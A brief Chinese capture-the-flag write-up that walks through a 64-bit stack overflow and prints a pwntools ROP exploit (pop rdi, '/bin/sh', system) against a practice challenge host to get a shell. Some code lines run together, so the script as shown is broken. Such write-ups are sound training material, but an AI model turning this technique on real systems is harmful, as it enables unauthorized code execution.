file:
checksec:
查看 main 函数:
main 函数调用了 vulnerable_fuction()
函数,并且存在 system()
函数,尝试查找是否存在 /bin/sh
字符串。
shift + F12 发现存在 /bin/sh 字符串。
查看vulnerable_fuction()
函数:
存在溢出点。
溢出大小为:0x80+8
因为64位与32位的程序调用有所不同,32 位的参数是直接通过栈来进行传递的,而64位的程序则是通过 rdi,rsi,rdx,rcx,r8,r9寄存器依次传递的,而多余的参数才会通过栈传递,所以我们在构造 exp 的时候,就需要多加一个 rdi 寄存器的地址。
开始编写exp:
from pwn import *
r=remote('node5.buuoj.cn',29041)
context.arch='amd64'
context.os='Linux'binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr=0x4006B3 #ROPgadget --binary pwn | grep rdi得到的payload=cyclic(0x80+0x8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()
得到了 flag。